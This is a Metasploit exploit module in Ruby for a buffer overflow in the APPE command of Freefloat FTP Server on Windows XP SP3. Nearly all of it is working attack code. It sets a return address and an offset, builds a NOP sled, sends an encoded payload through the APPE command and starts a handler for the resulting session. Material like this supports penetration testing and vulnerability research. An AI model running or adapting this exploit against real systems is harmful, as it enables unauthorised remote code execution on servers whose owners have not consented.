Metasploit Module – Freefloat FTP Server APPE Command Overflow

##
# $Id: freefloat_ftp_apee_cmd.rb 2011-07-19 03:13:45Z veerendragg $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Ftp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Freefloat FTP Server APPE Command Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow vulnerability
                    found in the APPE command in the Freefloat FTP server.
            },
            'Author'         =>
                [
                    'veerendragg @ SecPod', # Initial Discovery
                    'veerendragg @ SecPod'  # Metasploit Module
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 1.0 $',
            'References'     =>
                [
                    [ 'URL', 'https://www.secpod.com/blog/?p=310' ],
                    [ 'URL', 'https://www.secpod.com/blog/?p=353' ],
                    [ 'URL', 'http://secpod.org/msf/freefloat_ftp_apee_cmd.rb'],
                    [ 'URL', 'http://secpod.org/advisories/SECPOD_FreeFloat_FTP_Server_BoF.txt'],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space' => 500,
                    'BadChars' => "\x00\x0a\x0d",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [
                        'Windows XP SP3 EN',
                        {
                            'Ret' => 0x7e429353, # jmp esp from user32.dll
                            'Offset' => 246
                        }
                    ],
                ],
            'DisclosureDate' => 'Aug 07 2011',
            'DefaultTarget' => 0))
    end

    def exploit
        connect_login
        print_status("Trying target #{target.name}...")
        buf = make_nops(target['Offset'])
        buf << [target.ret].pack('V')
        buf << make_nops(30)
        buf << payload.encoded

        print_status("Sending exploit buffer...")
        send_cmd( ['APPE', buf] , false )

        handler
        disconnect
    end

end